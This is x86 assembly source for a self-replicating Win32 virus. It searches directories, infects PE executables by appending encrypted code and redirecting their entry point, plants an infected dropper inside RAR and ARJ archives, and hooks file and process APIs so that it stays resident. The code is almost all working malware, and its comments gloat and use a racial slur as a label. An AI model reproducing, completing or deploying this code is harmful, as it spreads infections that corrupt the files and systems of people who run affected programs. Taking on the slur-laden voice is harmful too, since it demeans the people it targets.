;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Search all the files (until limit reached) matching with search mask || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] Infect: call iENC_decrypt dd 00000000h dd eBlock8-Block8 Block8 label byte and dword ptr [ebp+infections],00000000h ; reset countah lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit push eax lea eax,[ebp+offset SEARCH_MASK] push eax apicall _FindFirstFileA ; Find da first file cmp_ eax,FailInfect mov dword ptr [ebp+SearchHandle],eax __1: push dword ptr [ebp+ModBase] push dword ptr [ebp+OldEIP] push dword ptr [ebp+NewEIP] cmp dword ptr [ebp+EXTENSION],"RAR" jz ArchInfection cmp dword ptr [ebp+EXTENSION],"JRA" jz ArchInfection call Infection jmp overit ArchInfection: call InfectArchives overit: pop dword ptr [ebp+NewEIP] pop dword ptr [ebp+OldEIP] pop dword ptr [ebp+ModBase] inc byte ptr [ebp+infections] cmp byte ptr [ebp+infections],n_infections jz FailInfect __2: lea edi,[ebp+WFD_szFileName] mov ecx,MAX_PATH xor al,al rep stosb lea eax,[ebp+offset WIN32_FIND_DATA] push eax push dword ptr [ebp+SearchHandle] apicall _FindNextFileA or eax,eax jnz __1 CloseSearchHandle: push dword ptr [ebp+SearchHandle] apicall _FindClose FailInfect: ret eBlock8 label byte ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Infect PE file (by using WFD info) || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] Infection: call iENC_decrypt dd 00000000h dd eBlock9-Block9 Block9 label byte lea esi,[ebp+WFD_szFileName] ; Get FileName to infect push 80h push esi apicall _SetFileAttributesA ; Wipe its attributes call OpenFile ; Open it cmp_ eax,CantOpen mov dword ptr [ebp+FileHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with call CreateMap ; its exact size or eax,eax jz CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Map it or eax,eax jz UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],"EP" ; Is it PE? jnz NoInfect cmp dword ptr [esi+mark],inf_mark ; Was it infected? jz NoInfect push dword ptr [esi+3Ch] push dword ptr [ebp+MapAddress] ; Close all apicall _UnmapViewOfFile push dword ptr [ebp+MapHandle] apicall _CloseHandle pop ecx mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again. add eax,virus_size call Align xchg ecx,eax mov dword ptr [ebp+NewSize],ecx call CreateMap or eax,eax jz CloseFile mov dword ptr [ebp+MapHandle],eax mov ecx,dword ptr [ebp+NewSize] call MapFile or eax,eax jz UnMapFile mov dword ptr [ebp+MapAddress],eax mov esi,[eax+3Ch] add esi,eax mov edi,esi movzx eax,word ptr [edi+06h] dec eax imul eax,eax,28h add esi,eax add esi,78h mov edx,[edi+74h] shl edx,03h add esi,edx pushad cmp dword ptr [esi],"ler." jnz not_reloc cmp word ptr [esi+4],"co" jnz not_reloc xchg edi,esi ; Put a new name to .reloc call GenerateName ; section :) not_reloc: popad and dword ptr [edi+0A0h],00h ; Nulify the relocs, so they and dword ptr [edi+0A4h],00h ; won't fuck us :) mov eax,[edi+28h] mov dword ptr [ebp+OldEIP],eax mov edx,[esi+10h] mov ebx,edx add edx,[esi+14h] push edx mov eax,ebx add eax,[esi+0Ch] mov dword ptr [ebp+NewEIP],eax mov eax,[esi+10h] add eax,virus_size mov ecx,[edi+3Ch] call Align mov [esi+10h],eax mov [esi+08h],eax pop edx mov eax,[esi+10h] add eax,[esi+0Ch] mov [edi+50h],eax or dword ptr [esi+24h],section_flags mov dword ptr [edi+mark],inf_mark pushad mov eax,[edi+28h] mov esi,edi add esi,0F8h-28h ; Pointer to 1st section-28h nigger: add esi,28h ; Ptr to section name ;) mov edx,eax ; Put in EDX the original EIP sub edx,[esi+0Ch] ; Remove the VirtualAddress cmp edx,[esi+08h] ; Is EIP pointing to this sec? jae nigger ; If not, loop again or [esi+24h],section_flags ; Put sum attributes add edx,[esi+14h] add edx,dword ptr [ebp+MapAddress] mov esi,edx push edx push 00000100h ; Alloc 256 bytes for store push 00h ; the first bytes of the inf. apicall _GlobalAlloc ; files (temporally) mov dword ptr [ebp+GlobalAllocHandle3],eax mov ecx,100h push ecx push edi xchg edi,eax rep movsb pop edi mov eax,dword ptr [ebp+NewEIP] sub eax,[edi+28h] lea edi,[ebp+NewBytes] push edi ; FREEDOM OR FIRE! Mwahahahahahah! call phire ; Ya wanna sum fire? >:) pop esi pop ecx pop edi rep movsb popad push edi push edx apicall _GetTickCount pop edx xchg eax,ebx mov dword ptr [ebp+key],ebx lea esi,[ebp+legacy] xchg edi,edx add edi,dword ptr [ebp+MapAddress] push edi mov ecx,virus_size rep movsb mov edi,[esp] pushad lea esi,[ebp+iENC_struc] call iENC_encrypt popad pushad mov esi,dword ptr [ebp+GlobalAllocHandle3] add edi,(offset OldBytes-offset virus_start) mov ecx,100h rep movsb popad add edi,(offset crypt-offset virus_start) mov esi,edi mov ecx,((offset virus_end-offset crypt)/4) cloop: lodsd xor eax,ebx stosd loop cloop mov eax,edi pop edi mov ecx,virus_size-LIMIT mov esi,edi add esi,LIMIT call mmxe pop edi mov ecx,[edi+3Ch] call Align sub eax,dword ptr [ebp+MapAddress] push eax push dword ptr [ebp+MapAddress] push eax call Checksum mov [edi+58h],eax pop ecx call TruncFile push dword ptr [ebp+GlobalAllocHandle3] ; Free some memory apicall _GlobalFree jmp UnMapFile NoInfect: dec byte ptr [ebp+infections] mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call TruncFile UnMapFile: push dword ptr [ebp+MapAddress] apicall _UnmapViewOfFile CloseMap: push dword ptr [ebp+MapHandle] apicall _CloseHandle CloseFile: push dword ptr [ebp+FileHandle] apicall _CloseHandle CantOpen: push dword ptr [ebp+WFD_dwFileAttributes] lea eax,[ebp+WFD_szFileName] push eax apicall _SetFileAttributesA ret eBlock9 label byte ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Infect given file in EDI || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] InfectEDI: call iENC_decrypt dd 00000000h dd eBlockA-BlockA BlockA label byte push edi apicall _GetFileAttributesA cmp_ eax,_ExitInfection mov dword ptr [ebp+WFD_dwFileAttributes],eax mov esi,edi call OpenFile cmp_ eax,_ExitInfection push eax push 00000000h push eax apicall _GetFileSize mov dword ptr [ebp+WFD_nFileSizeLow],eax apicall _CloseHandle lea esi,[ebp+WFD_szFileName] xchg esi,edi duhast: lodsb or al,al jz engel stosb jmp duhast engel: stosb push dword ptr [ebp+NewEIP] push dword ptr [ebp+OldEIP] push dword ptr [ebp+ModBase] call Infection pop dword ptr [ebp+ModBase] pop dword ptr [ebp+OldEIP] pop dword ptr [ebp+NewEIP] test al,00h ; Overlapppppp org $-1 _ExitInfection: stc ret eBlockA label byte InfectArchiveEDI: call iENC_decrypt dd 00000000h dd eBlockB-BlockB BlockB label byte lea esi,[ebp+WFD_szFileName] xchg edi,esi push esi push 7Fh pop ecx rep movsb pop edi eosz_edi mov eax,[edi-4] mov dword ptr [ebp+EXTENSION],eax jmp InfectArchives eBlockB label byte ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Infect Archives (using WFD Info) || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ; ; Infinite thanx here to two guys: StarZer0 and Int13h... Without you, ; i couldn't have been able to code this part of this virus :) InfectArchives: call iENC_decrypt dd 00000000h dd eBlockC-BlockC BlockC label byte lea esi,[ebp+WFD_szFileName] ; Save the name to infect for lea edi,[ebp+TMP_szFileName] ; later... push 7Fh pop ecx rep movsb push 00001000h ; Alloc memory for unpack the push 00000000h ; dropper apicall _GlobalAlloc or eax,eax jz ExitInfectArchive mov dword ptr [ebp+GlobalAllocHandle],eax call over_dropper dr0p: db 04Dh, 05Ah, 050h, 000h, 001h, 000h, 002h, 000h db 003h, 000h, 004h, 000h, 001h, 000h, 00Fh, 000h db 001h, 000h, 0FFh, 0FFh, 000h, 002h, 000h, 0B8h db 000h, 007h, 000h, 040h, 000h, 001h, 000h, 01Ah db 000h, 022h, 000h, 001h, 000h, 002h, 000h, 0BAh db 010h, 000h, 001h, 000h, 00Eh, 01Fh, 0B4h, 009h db 0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h db 090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h db 06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h db 073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h db 06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h db 057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h db 037h, 000h, 088h, 000h, 050h, 045h, 000h, 002h db 000h, 04Ch, 001h, 004h, 000h, 001h, 000h, 0D8h db 026h, 09Dh, 06Eh, 000h, 008h, 000h, 0E0h, 000h db 001h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h db 000h, 001h, 000h, 002h, 000h, 003h, 000h, 006h db 000h, 007h, 000h, 010h, 000h, 003h, 000h, 010h db 000h, 003h, 000h, 020h, 000h, 004h, 000h, 040h db 000h, 002h, 000h, 010h, 000h, 003h, 000h, 002h db 000h, 002h, 000h, 001h, 000h, 007h, 000h, 003h db 000h, 001h, 000h, 00Ah, 000h, 006h, 000h, 050h db 000h, 003h, 000h, 004h, 000h, 006h, 000h, 002h db 000h, 005h, 000h, 010h, 000h, 002h, 000h, 020h db 000h, 004h, 000h, 010h, 000h, 002h, 000h, 010h db 000h, 006h, 000h, 010h, 000h, 00Ch, 000h, 030h db 000h, 002h, 000h, 090h, 000h, 01Ch, 000h, 040h db 000h, 002h, 000h, 014h, 000h, 053h, 000h, 043h db 04Fh, 044h, 045h, 000h, 005h, 000h, 010h, 000h db 003h, 000h, 010h, 000h, 003h, 000h, 002h, 000h db 003h, 000h, 006h, 000h, 00Eh, 000h, 020h, 000h db 002h, 000h, 0E0h, 044h, 041h, 054h, 041h, 000h db 005h, 000h, 010h, 000h, 003h, 000h, 020h, 000h db 003h, 000h, 002h, 000h, 003h, 000h, 008h, 000h db 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h, 02Eh db 069h, 064h, 061h, 074h, 061h, 000h, 003h, 000h db 010h, 000h, 003h, 000h, 030h, 000h, 003h, 000h db 002h, 000h, 003h, 000h, 00Ah, 000h, 00Eh, 000h db 040h, 000h, 002h, 000h, 0C0h, 02Eh, 072h, 065h db 06Ch, 06Fh, 063h, 000h, 003h, 000h, 010h, 000h db 003h, 000h, 040h, 000h, 003h, 000h, 002h, 000h db 003h, 000h, 00Ch, 000h, 00Eh, 000h, 040h, 000h db 002h, 000h, 050h, 000h, 068h, 003h, 068h, 010h db 010h, 000h, 002h, 000h, 068h, 000h, 001h, 000h db 020h, 040h, 000h, 001h, 000h, 068h, 025h, 020h db 040h, 000h, 001h, 000h, 06Ah, 000h, 001h, 000h db 0E8h, 009h, 000h, 003h, 000h, 033h, 0C0h, 048h db 050h, 0E8h, 006h, 000h, 003h, 000h, 0FFh, 025h db 04Ch, 030h, 040h, 000h, 001h, 000h, 0FFh, 025h db 054h, 030h, 040h, 000h, 0D6h, 001h, 050h, 052h db 030h, 04Eh, 020h, 02Dh, 020h, 058h, 058h, 058h db 020h, 053h, 065h, 061h, 052h, 043h, 048h, 065h db 052h, 020h, 05Bh, 046h, 061h, 054h, 061h, 04Ch db 020h, 065h, 052h, 052h, 06Fh, 052h, 021h, 021h db 021h, 05Dh, 000h, 001h, 000h, 055h, 06Eh, 061h db 062h, 06Ch, 065h, 020h, 074h, 06Fh, 020h, 069h db 06Eh, 069h, 074h, 069h, 061h, 06Ch, 069h, 07Ah db 065h, 020h, 073h, 065h, 061h, 072h, 063h, 068h db 020h, 065h, 06Eh, 067h, 069h, 06Eh, 065h, 00Ah db 055h, 06Eh, 06Bh, 06Eh, 06Fh, 077h, 06Eh, 020h db 065h, 072h, 072h, 06Fh, 072h, 020h, 061h, 074h db 020h, 061h, 064h, 064h, 072h, 065h, 073h, 073h db 020h, 042h, 046h, 046h, 037h, 039h, 034h, 036h db 033h, 000h, 097h, 001h, 03Ch, 030h, 000h, 00Ah db 000h, 05Ch, 030h, 000h, 002h, 000h, 04Ch, 030h db 000h, 002h, 000h, 044h, 030h, 000h, 00Ah, 000h db 067h, 030h, 000h, 002h, 000h, 054h, 030h, 000h db 016h, 000h, 074h, 030h, 000h, 006h, 000h, 082h db 030h, 000h, 006h, 000h, 074h, 030h, 000h, 006h db 000h, 082h, 030h, 000h, 006h, 000h, 055h, 053h db 045h, 052h, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch db 000h, 001h, 000h, 04Bh, 045h, 052h, 04Eh, 045h db 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h db 003h, 000h, 04Dh, 065h, 073h, 073h, 061h, 067h db 065h, 042h, 06Fh, 078h, 041h, 000h, 003h, 000h db 045h, 078h, 069h, 074h, 050h, 072h, 06Fh, 063h db 065h, 073h, 073h, 000h, 072h, 001h, 010h, 000h db 002h, 000h, 014h, 000h, 003h, 000h, 006h, 030h db 00Bh, 030h, 021h, 030h, 027h, 030h, 000h, 0F0h db 003h sdr0p equ ($-offset dr0p) over_dropper: pop esi mov ecx,sdr0p ; Unpack in allocated memory xchg edi,eax ; the dropper call LSCE_UnPack push 00000000h ; Create the dropper on push 00000080h ; a temporal file called push 00000002h ; LEGACY.TMP (that will be push 00000000h ; erased later) push 00000001h push 40000000h lea edi,[ebp+hate] push edi apicall _CreateFileA push eax ; Write it, sucka! push 00000000h lea ebx,[ebp+iobytes] push ebx push 00001000h push dword ptr [ebp+GlobalAllocHandle] push eax apicall _WriteFile apicall _CloseHandle call o_tmp hate db "LEGACY.TMP",0 ; Infect the dropped file o_tmp: pop edi call InfectEDI lea eax,[ebp+WIN32_FIND_DATA] ; Find's shit push eax lea eax,[ebp+hate] push eax apicall _FindFirstFileA inc eax jz CantOpenArchive dec eax push dword ptr [ebp+WFD_nFileSizeLow] pop dword ptr [ebp+InfDropperSize] push eax apicall _FindClose lea esi,[ebp+hate] call OpenFile mov dword ptr [ebp+FileHandle],eax push dword ptr [ebp+InfDropperSize] push 00000000h apicall _GlobalAlloc or eax,eax jz CloseFileArchive mov dword ptr [ebp+GlobalAllocHandle2],eax push 00h lea ebx,[ebp+NumBytesRead] push ebx push dword ptr [ebp+InfDropperSize] push eax push dword ptr [ebp+FileHandle] apicall _ReadFile push dword ptr [ebp+FileHandle] apicall _CloseHandle lea esi,[ebp+TMP_szFileName] ; Get FileName to infect push 80h push esi apicall _SetFileAttributesA ; Wipe its attributes call OpenFile ; Open it cmp_ eax,CantOpenArchive mov dword ptr [ebp+FileHandle],eax push 00h push eax apicall _GetFileSize mov dword ptr [ebp+ArchiveSize],eax mov ecx,dword ptr [ebp+EXTENSION] ; cmp ecx,"RAR" ; jz InfectRAR cmp ecx,"JRA" jz InfectARJ ; ------------- ; RAR Infection ; ------------- InfectRAR: push 00h ; See if it was previously push 00h ; infected... sub eax,dword ptr [ebp+InfDropperSize] sub eax,sRARHeaderSize push eax push dword ptr [ebp+FileHandle] apicall _SetFilePointer inc eax jz TryToInfectRAR dec eax push 00h lea ebx,[ebp+NumBytesRead] push ebx push 50d lea ebx,[ebp+ArchiveBuffer] push ebx push dword ptr [ebp+FileHandle] apicall _ReadFile or eax,eax jz TryToInfectRAR cmp word ptr [ebp+ArchiveBuffer+14h],archive_mark jz CloseFileArchive ; Let's fill properly RAR fields :) TryToInfectRAR: lea edi,[ebp+RARName] ; Generate a random 6 char name call GenerateName ; for the dr0pper ;) mov edi,dword ptr [ebp+InfDropperSize] mov dword ptr [ebp+RARCompressed],edi mov dword ptr [ebp+RAROriginal],edi mov esi,dword ptr [ebp+GlobalAllocHandle2] call CRC32 mov dword ptr [ebp+RARCrc32],eax lea esi,[ebp+RARHeader+2] mov edi,sRARHeaderSize-2 call CRC32 mov word ptr [ebp+RARHeaderCRC],ax push 02h push 00h push 00h push dword ptr [ebp+FileHandle] apicall _SetFilePointer push 00h lea ebx,[ebp+iobytes] push ebx push sRARHeaderSize lea ebx,[ebp+RARHeader] push ebx push dword ptr [ebp+FileHandle] apicall _WriteFile push 00h lea ebx,[ebp+iobytes] push ebx push dword ptr [ebp+InfDropperSize] push dword ptr [ebp+GlobalAllocHandle2] push dword ptr [ebp+FileHandle] apicall _WriteFile jmp CloseFileArchive ; ------------- ; ARJ Infection ; ------------- InfectARJ: push 00h ; Let's see if it was infected push 00h sub eax,dword ptr [ebp+InfDropperSize] sub eax,sARJTotalSize+4 push eax push dword ptr [ebp+FileHandle] apicall _SetFilePointer inc eax jz TryToInfectARJ dec eax push 00h lea ebx,[ebp+NumBytesRead] push ebx push 50d lea ebx,[ebp+ArchiveBuffer] push ebx push dword ptr [ebp+FileHandle] apicall _ReadFile or eax,eax jz TryToInfectARJ cmp word ptr [ebp+ArchiveBuffer],0EA60h jnz CloseFileArchive cmp word ptr [ebp+ArchiveBuffer+0Ch],archive_mark jz CloseFileArchive ; Let's fill properly ARJ fields :) TryToInfectARJ: lea edi,[ebp+ARJFilename] call GenerateName push 02h push 00h push 00h push dword ptr [ebp+FileHandle] apicall _SetFilePointer xchg ecx,edx mov edx,eax sub edx,4 sbb ecx,1 add ecx,1 push 00h push 00h push edx push dword ptr [ebp+FileHandle] apicall _SetFilePointer mov edi,dword ptr [ebp+InfDropperSize] mov dword ptr [ebp+ARJCompress],edi mov dword ptr [ebp+ARJOriginal],edi mov esi,dword ptr [ebp+GlobalAllocHandle2] call CRC32 mov dword ptr [ebp+ARJCRC32],eax push 00h lea ebx,[ebp+iobytes] push ebx push sARJHeader lea ebx,[ebp+ARJHeader] push ebx push dword ptr [ebp+FileHandle] apicall _WriteFile lea esi,[ebp+ARJHSmsize] mov edi,sARJCRC32Size call CRC32 mov dword ptr [ebp+ARJHeaderCRC],eax push 00h lea ebx,[ebp+iobytes] push ebx push sARJSecondSide lea ebx,[ebp+ARJSecondSide] push ebx push dword ptr [ebp+FileHandle] apicall _WriteFile push 00h lea ebx,[ebp+iobytes] push ebx push dword ptr [ebp+InfDropperSize] push dword ptr [ebp+GlobalAllocHandle2] push dword ptr [ebp+FileHandle] apicall _WriteFile and word ptr [ebp+ARJHeadsiz],0000h ; This shit is needed push 00h lea ebx,[ebp+iobytes] push ebx push 04h lea ebx,[ebp+ARJHeader] push ebx push dword ptr [ebp+FileHandle] apicall _WriteFile CloseFileArchive: push dword ptr [ebp+FileHandle] apicall _CloseHandle CantOpenArchive: push dword ptr [ebp+GlobalAllocHandle] apicall _GlobalFree push dword ptr [ebp+GlobalAllocHandle2] apicall _GlobalFree lea edi,[ebp+hate] push edi apicall _DeleteFileA ExitInfectArchive: ret eBlockC label byte ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Some miscellaneous routines || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] GetUsefulInfo: pushs "USER32" apicall _LoadLibraryA push eax lea esi,[ebp+@FindWindowA] lea edi,[ebp+@@OffsetzUSER32] call GetAPIs apicall _FreeLibrary pushs "ADVAPI32" apicall _LoadLibraryA push eax lea esi,[ebp+@RegCreateKeyExA] lea edi,[ebp+@@OffsetzADVAPI32] call GetAPIs apicall _FreeLibrary ret ; input: ; ESI = Program return address ; output: ; EAX = KERNEL32 imagebase ; GetK32 proc pushad call GetK32_SEH mov esp,[esp+08h] WeFailed: popad pushad mov esi,kernel_w9x call CheckMZ jnc WeGotK32 mov esi,kernel_wNT call CheckMZ jnc WeGotK32 mov esi,kernel_w2k call CheckMZ jnc WeGotK32 xor esi,esi jmp WeGotK32 GetK32_SEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp and esi,0FFFF0000h _@1: cmp word ptr [esi],"ZM" jz CheckPE _@2: sub esi,00010000h loop _@1 jmp WeFailed CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jnz _@2 WeGotK32: xor edx,edx pop dword ptr fs:[edx] pop edx mov [esp.PUSHAD_EAX],esi popad ret GetK32 endp ; input: ; EAX = Base address of the library where search the APIs ; ESI = Pointer to an array of CRC32 of the APIs we want to search ; EDI = Pointer to where store the APIs ; output: ; Nothing. ; GetAPIs proc push eax ; EAX = Handle of module pop dword ptr [ebp+TmpModuleBase] APIS33K: lodsd ; Get in EAX the CRC32 of API push esi edi call GetAPI_ET_CRC32 pop edi esi stosd ; Save in [EDI] the API address cmp byte ptr [esi],Billy_Bel ; Last API? jnz APIS33K ; Yeah, get outta here ret GetAPIs endp ; input: ; EAX = CRC32 of the API we want to know its address ; output: ; EAX = API address ; GetAPI_ET_CRC32 proc xor edx,edx xchg eax,edx ; Put CRC32 of da api in EDX mov word ptr [ebp+Counter],ax ; Reset counter mov esi,3Ch add esi,[ebp+TmpModuleBase] ; Get PE header of module lodsw add eax,[ebp+TmpModuleBase] ; Normalize mov esi,[eax+78h] ; Get a pointer to its add esi,1Ch ; Export Table add esi,[ebp+TmpModuleBase] lea edi,[ebp+AddressTableVA] ; Pointer to the address table lodsd ; Get AddressTable value add eax,[ebp+TmpModuleBase] ; Normalize stosd ; And store in its variable lodsd ; Get NameTable value add eax,[ebp+TmpModuleBase] ; Normalize push eax ; Put it in stack stosd ; Store in its variable lodsd ; Get OrdinalTable value add eax,[ebp+TmpModuleBase] ; Normalize stosd ; Store pop esi ; ESI = NameTable VA @?_3: push esi ; Save again lodsd ; Get pointer to an API name add eax,[ebp+TmpModuleBase] ; Normalize xchg edi,eax ; Store ptr in EDI mov ebx,edi ; And in EBX push edi ; Save EDI eosz_edi pop esi ; ESI = Pointer to API Name sub edi,ebx ; EDI = API Name size push edx ; Save API's CRC32 call CRC32 ; Get actual api's CRC32 pop edx ; Restore API's CRC32 cmp edx,eax ; Are them equal? jz @?_4 ; if yes, we got it pop esi ; Restore ptr to api name add esi,4 ; Get the next inc word ptr [ebp+Counter] ; And increase the counter jmp @?_3 ; Get another api! @?_4: pop esi ; Remove shit from stack movzx eax,word ptr [ebp+Counter] ; AX = Counter shl eax,1 ; *2 (it's an array of words) add eax,dword ptr [ebp+OrdinalTableVA] ; Normalize xchg eax,esi ; ESI = Ptr 2 ordinal; EAX = 0 lodsw ; Get ordinal in AX cwde ; Clear MSW of EAX shl eax,2 ; And with it we go to the add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (array of xchg esi,eax ; dwords) lodsd ; Get Address of API RVA add eax,[ebp+TmpModuleBase] ; and normalize!! That's it! ret GetAPI_ET_CRC32 endp ; input: ; EAX = Number to align ; ECX = Alignment factor ; output: ; EAX = Aligned number ; Align proc push edx xor edx,edx push eax div ecx pop eax sub ecx,edx add eax,ecx pop edx ret Align endp ; input: ; ECX = Offset where truncate ; output: ; Nothing. ; TruncFile proc xor eax,eax push eax push eax push ecx push dword ptr [ebp+FileHandle] apicall _SetFilePointer push dword ptr [ebp+FileHandle] apicall _SetEndOfFile ret TruncFile endp ; input: ; ESI = Pointer to the file where open ; output: ; EAX = Handle/INVALID_HANDLE_VALUE OpenFile proc xor eax,eax push eax push eax push 00000003h push eax inc eax push eax push 80000000h or 40000000h push esi apicall _CreateFileA ret OpenFile endp ; input: ; ECX = Size to map ; output: ; EAX = Mapping handle/Error CreateMap proc xor eax,eax push eax push ecx push eax push 00000004h push eax push dword ptr [ebp+FileHandle] apicall _CreateFileMappingA ret CreateMap endp ; input: ; ECX = Size to map ; output: ; EAX = Mapping address/Error ; MapFile proc xor eax,eax push ecx push eax push eax push 00000002h push dword ptr [ebp+MapHandle] apicall _MapViewOfFile ret MapFile endp ; input: ; EDI = Pointer to the name of the window of the process we want to kill ; output: ; Nothing ; TerminateProc proc xor ebx,ebx ; Thnx 2 Bennyg0d :) push edi push ebx apicall _FindWindowA xchg eax,ecx jecxz TP_ErrorExit push ebx push ebx push 00000012h push ecx apicall _PostMessageA test al,00h org $-1 TP_ErrorExit: stc ret TerminateProc endp ; input: ; ESI = Pointer to the code to process ; EDI = Size of such code ; output: ; EAX = CRC32 of that code ; CRC32 proc cld xor ecx,ecx ; Optimized by me - 2 bytes dec ecx ; less mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi ; Another fool byte less jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret CRC32 endp ; input: ; ESI = Offset where check for MZ mark ; output: ; CF = Set if fail, clear if all ok. ; CheckMZ proc pushad call CMZ_SetSEH mov esp,[esp+08h] jmp CMZ_Exit CMZ_SetSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp cmp word ptr [esi],"ZM" jnz CMZ_Exit test al,00h org $-1 CMZ_Exit: stc push 00h ; Thanx 2 Super for pointing pop edx ; me a bug here :) pop dword ptr fs:[edx] pop edx popad ret CheckMZ endp ; input: ; TOS+00 = Return Address ; TOS+04 = Size of what we want to know the checksum ; TOS+08 = Address where begin to calculate checksum ; output: ; EAX = Checksum ; Checksum proc PASCAL lpFile:DWORD,dwFileLen:DWORD xor edx,edx mov esi,lpFile mov ecx,dwFileLen shr ecx,1 @CSumLoop: movzx eax,word ptr [esi] add edx,eax mov eax,edx movzx edx,dx shr eax,10h add edx,eax inc esi inc esi loop @CSumLoop mov eax,edx shr eax,10h add ax,dx add eax,dwFileLen ret Checksum endp ; input: ; EDI = Where generate the 6 char string ; output: ; Nothing. ; GenerateName proc push 6 ; Generate in [EDI] a 6 char pop ecx ; name gcl00p: call GenChar stosb loop gcl00p ret GenChar: call random ; Generate letter between and al,25d ; A and Z :] add al,41h ret GenerateName endp ; input: ; EAX = CRC32 of the API we want to get info ; output: ; EAX = API address ; EBX = API in Import Table GetAPI_IT_CRC32 proc mov dword ptr [ebp+TempGA_IT1],eax mov esi,dword ptr [ebp+imagebase] add esi,3Ch lodsw cwde add eax,dword ptr [ebp+imagebase] xchg esi,eax lodsd cmp eax,"EP" jnz nopes add esi,7Ch lodsd push eax lodsd mov ecx,eax pop esi add esi,dword ptr [ebp+imagebase] SearchK32: push esi mov esi,[esi+0Ch] add esi,dword ptr [ebp+imagebase] lea edi,[ebp+K32_DLL] mov ecx,K32_Size cld push ecx rep cmpsb pop ecx pop esi jz gotcha add esi,14h jmp SearchK32 gotcha: cmp byte ptr [esi],00h jz nopes mov edx,[esi+10h] add edx,dword ptr [ebp+imagebase] lodsd or eax,eax jz nopes xchg edx,eax add edx,[ebp+imagebase] xor ebx,ebx loopy: cmp dword ptr [edx+00h],00h jz nopes cmp byte ptr [edx+03h],80h jz reloop mov edi,[edx] add edi,dword ptr [ebp+imagebase] inc edi inc edi mov esi,edi pushad eosz_edi sub edi,esi call CRC32 mov [esp.PUSHAD_ECX],eax popad cmp dword ptr [ebp+TempGA_IT1],ecx jz wegotit reloop: inc ebx add edx,4 loop loopy wegotit: shl ebx,2 add ebx,eax mov eax,[ebx] test al,00h org $-1 nopes: stc ret GetAPI_IT_CRC32 endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Thread used for hook IT desired APIs (Per-Process residence) || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ThrPerProcess proc PASCAL delta_thread:DWORD mov ebp,delta_thread xor ecx,ecx TPP_Sleep: mov cl,THREAD_SLEEPING TPP_semaphore equ $-1 jecxz TPP_Sleep pushad call TPP_SetupSEH mov esp,[esp+08h] jmp TPP_RestoreSEH TPP_SetupSEH: xor edx,edx push dword ptr fs:[edx] mov fs:[edx],esp call iENC_decrypt dd 00000000h dd eBlockD-BlockD BlockD label byte call GetK32 push eax pop dword ptr [ebp+TmpModuleBase] lea esi,[ebp+@@Hookz] @@hooker: clc lodsd push esi call GetAPI_IT_CRC32 pop esi jnc @@hookshit mov eax,[esi-4] push edi esi call GetAPI_ET_CRC32 pop edi esi add edi,04h stosd xchg edi,esi jmp @@checkshit @@hookshit: xchg eax,ecx lodsd add eax,ebp mov [ebx],eax xchg eax,ecx xchg esi,edi stosd xchg esi,edi @@checkshit: cmp byte ptr [esi],Billy_Bel jnz @@hooker eBlockD label byte TPP_RestoreSEH: xor edx,edx pop dword ptr fs:[edx] pop edx popad and byte ptr [ebp+TPP_semaphore],THREAD_SLEEPING jmp ExitThread ThrPerProcess endp ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] ;|| Hooked API's handlerz || ;[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][] HookMoveFileA: call DoHookStuff jmp dword ptr [eax+hMoveFileA] HookCopyFileA: call DoHookStuff jmp dword ptr [eax+hCopyFileA] HookGetFullPathNameA: call DoHookStuff jmp dword ptr [eax+hGetFullPathNameA] HookDeleteFileA: call DoHookStuff jmp dword ptr [eax+hDeleteFileA] HookWinExec: call DoHookStuff jmp dword ptr [eax+hWinExec] HookCreateFileA: call DoHookStuff jmp dword ptr [eax+hCreateFileA] HookCreateProcessA: call DoHookStuff jmp dword ptr [eax+hCreateProcessA] HookGetFileAttributesA: call DoHookStuff jmp dword ptr [eax+hGetFileAttributesA] HookSetFileAttributesA: call DoHookStuff jmp dword ptr [eax+hSetFileAttributesA] Hook_lopen: call DoHookStuff 